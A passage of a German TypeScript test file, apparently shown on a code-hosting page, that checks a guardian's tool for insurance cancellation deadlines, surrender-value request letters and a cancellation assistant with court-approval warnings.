kuendigungsfristMonate: 3,
|
||||
heute: tag(2026, 1, 5),
|
||||
})
|
||||
|
||||
expect(plan.naechsterTermin).toEqual(tag(2026, 5, 31))
|
||||
expect(plan.zugangSpaetestensAm).toEqual(tag(2026, 2, 28))
|
||||
expect(plan.spaetesterAbsendetag).toEqual(tag(2026, 2, 25))
|
||||
})
|
||||
|
||||
it('trifft im Schaltjahr den 29. Februar', () => {
|
||||
const plan = kuendigungsplan({
|
||||
beginnAm: tag(2019, 5, 31),
|
||||
laufzeitJahre: 1,
|
||||
kuendigungsfristMonate: 3,
|
||||
heute: tag(2024, 1, 5),
|
||||
})
|
||||
|
||||
expect(plan.zugangSpaetestensAm).toEqual(tag(2024, 2, 29))
|
||||
})
|
||||
|
||||
it('springt bei mehrjähriger Laufzeit um die volle Laufzeit weiter', () => {
|
||||
const plan = kuendigungsplan({
|
||||
beginnAm: tag(2018, 1, 1),
|
||||
laufzeitJahre: 3,
|
||||
kuendigungsfristMonate: 3,
|
||||
heute: tag(2026, 2, 1),
|
||||
})
|
||||
|
||||
// Termine: 2021, 2024, 2027 - für 2027 muss bis 30.09.2026 zugehen.
|
||||
expect(plan.naechsterTermin).toEqual(tag(2027, 1, 1))
|
||||
expect(plan.zugangSpaetestensAm).toEqual(tag(2026, 10, 1))
|
||||
})
|
||||
|
||||
it('rechnet den Postlauf zwischen Absenden und Zugang ein', () => {
|
||||
expect(absendetagZu(tag(2026, 6, 30), 3)).toEqual(tag(2026, 3, 27))
|
||||
expect(POSTLAUF_PUFFER_TAGE).toBe(3)
|
||||
})
|
||||
|
||||
it('warnt, wenn der Absendetag näher als 30 Tage rückt', () => {
|
||||
const plan = kuendigungsplan({
|
||||
beginnAm: tag(2020, 6, 30),
|
||||
laufzeitJahre: 1,
|
||||
kuendigungsfristMonate: 3,
|
||||
heute: tag(2026, 3, 20),
|
||||
})
|
||||
|
||||
expect(plan.spaetesterAbsendetag).toEqual(tag(2026, 3, 27))
|
||||
expect(plan.tageBisAbsendetag).toBe(7)
|
||||
expect(plan.vorwarnung).toBe(true)
|
||||
expect(kuendigungsampel(plan)?.variante).toBe('rot')
|
||||
})
|
||||
|
||||
it('warnt genau an der Grenze von 30 Tagen', () => {
|
||||
const plan = kuendigungsplan({
|
||||
beginnAm: tag(2020, 6, 30),
|
||||
laufzeitJahre: 1,
|
||||
kuendigungsfristMonate: 3,
|
||||
heute: tag(2026, 2, 25),
|
||||
})
|
||||
|
||||
expect(plan.tageBisAbsendetag).toBe(KUENDIGUNG_VORWARNUNG_TAGE)
|
||||
expect(plan.vorwarnung).toBe(true)
|
||||
expect(kuendigungsampel(plan)?.variante).toBe('orange')
|
||||
})
|
||||
|
||||
it('warnt einen Tag vor der Grenze noch nicht', () => {
|
||||
const plan = kuendigungsplan({
|
||||
beginnAm: tag(2020, 6, 30),
|
||||
laufzeitJahre: 1,
|
||||
kuendigungsfristMonate: 3,
|
||||
heute: tag(2026, 2, 24),
|
||||
})
|
||||
|
||||
expect(plan.tageBisAbsendetag).toBe(31)
|
||||
expect(plan.vorwarnung).toBe(false)
|
||||
})
|
||||
|
||||
it('nimmt ohne hinterlegte Laufzeit ein Jahr an und sagt das dazu', () => {
|
||||
const plan = kuendigungsplan({
|
||||
beginnAm: tag(2020, 3, 15),
|
||||
laufzeitJahre: null,
|
||||
kuendigungsfristMonate: 3,
|
||||
heute: tag(2026, 2, 1),
|
||||
})
|
||||
|
||||
expect(plan.naechsterTermin).toEqual(tag(2027, 3, 15))
|
||||
expect(plan.hinweise.some((h) => h.includes('keine Laufzeit'))).toBe(true)
|
||||
})
|
||||
|
||||
it('meldet einen verpassten Termin, wenn sich der Vertrag nicht verlängert', () => {
|
||||
const plan = kuendigungsplan({
|
||||
beginnAm: tag(2010, 1, 1),
|
||||
endeAm: tag(2026, 3, 1),
|
||||
kuendigungsfristMonate: 3,
|
||||
verlaengertSichAutomatisch: false,
|
||||
heute: tag(2026, 2, 1),
|
||||
})
|
||||
|
||||
expect(plan.verpasst).toBe(true)
|
||||
expect(kuendigungsampel(plan)?.variante).toBe('rot')
|
||||
})
|
||||
|
||||
it('rechnet gar nicht, wenn weder Beginn noch Ende bekannt sind', () => {
|
||||
const plan = kuendigungsplan({
|
||||
beginnAm: null,
|
||||
kuendigungsfristMonate: 3,
|
||||
heute: tag(2026, 2, 1),
|
||||
})
|
||||
|
||||
expect(plan.berechenbar).toBe(false)
|
||||
expect(plan.naechsterTermin).toBeNull()
|
||||
expect(kuendigungsampel(plan)).toBeNull()
|
||||
})
|
||||
|
||||
it('weist auf die fehlende Kündigungsfrist hin, statt still mit null zu rechnen', () => {
|
||||
const plan = kuendigungsplan({
|
||||
beginnAm: tag(2020, 3, 15),
|
||||
kuendigungsfristMonate: null,
|
||||
heute: tag(2026, 2, 1),
|
||||
})
|
||||
|
||||
expect(plan.hinweise.some((h) => h.includes('keine Kündigungsfrist'))).toBe(true)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Rückkaufswert-Anforderung', () => {
|
||||
it('legt die Wiedervorlage vier Wochen nach der Anfrage', () => {
|
||||
expect(wiedervorlageAm(tag(2026, 3, 2))).toEqual(tag(2026, 3, 30))
|
||||
})
|
||||
|
||||
it('fragt Rückkaufswert und beitragsfreie Versicherungssumme zusammen ab', () => {
|
||||
const brief = rueckkaufswertAnschreiben({
|
||||
kopf,
|
||||
empfaenger: { gesellschaft: 'Musterversicherung AG', anschrift: 'Postfach 1\n80000 München' },
|
||||
vertragsbezeichnung: 'Sterbegeldversicherung',
|
||||
vertragsnummer: 'LV-4711',
|
||||
stichtag: tag(2026, 1, 1),
|
||||
heute: tag(2026, 3, 2),
|
||||
})
|
||||
|
||||
expect(brief).toContain('LV-4711')
|
||||
expect(brief).toContain('Rückkaufswert')
|
||||
expect(brief).toContain('beitragsfreie Versicherungssumme')
|
||||
expect(brief).toContain('Amtsgericht Bayreuth')
|
||||
expect(brief).toContain('XVII 123/25')
|
||||
expect(brief).toContain('01.01.2026')
|
||||
})
|
||||
|
||||
it('meldet die Erinnerung, sobald vier Wochen ohne Antwort vergangen sind', () => {
|
||||
expect(anfrageStatus(tag(2026, 3, 2), tag(2026, 3, 29)).erinnerungFaellig).toBe(false)
|
||||
expect(anfrageStatus(tag(2026, 3, 2), tag(2026, 3, 30)).erinnerungFaellig).toBe(true)
|
||||
expect(anfrageStatus(null, tag(2026, 3, 30)).offen).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Kündigungs-Assistent', () => {
|
||||
const eingabe = {
|
||||
kopf,
|
||||
empfaenger: { gesellschaft: 'Musterversicherung AG', anschrift: null },
|
||||
vertragsbezeichnung: 'Kapitallebensversicherung',
|
||||
vertragsnummer: 'LV-4711',
|
||||
art: 'LEBENSVERSICHERUNG' as const,
|
||||
laufzeit: {
|
||||
beginnAm: tag(2000, 4, 1),
|
||||
laufzeitJahre: 1,
|
||||
kuendigungsfristMonate: 3,
|
||||
},
|
||||
heute: tag(2026, 2, 1),
|
||||
}
|
||||
|
||||
it('erzeugt ein Schreiben mit Vertragsnummer und Bestellungsnachweis', () => {
|
||||
const paket = kuendigungsassistent(eingabe)
|
||||
|
||||
expect(paket.schreiben).toContain('LV-4711')
|
||||
expect(paket.schreiben).toContain('kündige ich den oben genannten Vertrag')
|
||||
expect(paket.schreiben).toContain('rechtlichen Betreuer')
|
||||
expect(paket.schreiben).toContain('hilfsweise zum nächstmöglichen Zeitpunkt')
|
||||
})
|
||||
|
||||
it('stellt bei einer Lebensversicherung die Genehmigungsfrage, ohne sie zu beantworten', () => {
|
||||
const paket = kuendigungsassistent(eingabe)
|
||||
|
||||
expect(paket.genehmigung.stellen).toBe(true)
|
||||
expect(paket.genehmigung.rechtsgrundlage).toBe('§ 1850 BGB')
|
||||
expect(paket.genehmigung.frage).toMatch(/Rechtspfleger/)
|
||||
expect(paket.genehmigung.hinweis).toMatch(/entscheidet das ausdrücklich nicht/)
|
||||
})
|
||||
|
||||
it('stellt bei einer Hausratversicherung keine Genehmigungsfrage', () => {
|
||||
expect(genehmigungsfrage('HAUSRAT').stellen).toBe(false)
|
||||
expect(genehmigungsfrage('LEBENSVERSICHERUNG').stellen).toBe(true)
|
||||
})
|
||||
|
||||
it('verlangt immer einen Versandnachweis', () => {
|
||||
const paket = kuendigungsassistent(eingabe)
|
||||
|
||||
expect(paket.versandnachweis.verlangt).toBe(true)
|
||||
expect(paket.versandnachweis.moeglichkeiten.join(' ')).toMatch(/Einschreiben/)
|
||||
expect(paket.versandnachweis.moeglichkeiten.join(' ')).toMatch(/Fax/)
|
||||
})
|
||||
|
||||
it('erinnert vor der Kündigung an die Beitragsfreistellung als Alternative', () => {
|
||||
const paket = kuendigungsassistent(eingabe)
|
||||
|
||||
expect(paket.warnungen.some((w) => w.includes('beitragsfreie Versicherungssumme'))).toBe(true)
|
||||
})
|
||||
|
||||
it('warnt bei einer Bestattungsvorsorge vor der vorschnellen Kündigung', () => {
|
||||
const paket = kuendigungsassistent({ ...eingabe, art: 'BESTATTUNGSVORSORGE' })
|
||||
|
||||
expect(paket.warnungen.some((w) => w.includes('§ 90 Abs. 3 SGB XII'))).toBe(true)
|
||||
})
|
||||
|
||||
it('warnt, wenn die Vertragsnummer fehlt', () => {
|
||||
const paket = kuendigungsassistent({ ...eingabe, vertragsnummer: null })
|
||||
|
||||
expect(paket.warnungen.some((w) => w.includes('Vertragsnummer fehlt'))).toBe(true)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Beiträge und Vertragsarten', () => {
|
||||
it('rechnet den Jahresbeitrag aus Beitrag und Rhythmus', () => {
|
||||
expect(jahresbeitragCent(2_500n, 'MONATLICH')).toBe(30_000n)
|
||||
expect(jahresbeitragCent(2_500n, 'VIERTELJAEHRLICH')).toBe(10_000n)
|
||||
expect(jahresbeitragCent(2_500n, 'JAEHRLICH')).toBe(2_500n)
|
||||
expect(jahresbeitragCent(2_500n, 'EINMALIG')).toBeNull()
|
||||
expect(jahresbeitragCent(null, 'MONATLICH')).toBeNull()
|
||||
})
|
||||
|
||||
it('kennt die Verträge, bei denen ein Rückkaufswert überhaupt anfällt', () => {
|
||||
expect(kannRueckkaufswertHaben('LEBENSVERSICHERUNG')).toBe(true)
|
||||
expect(kannRueckkaufswertHaben('STERBEGELDVERSICHERUNG')).toBe(true)
|
||||
expect(kannRueckkaufswertHaben('STROM')).toBe(false)
|
||||
})
|
||||
})
|
||||
Reference in New Issue
Block a user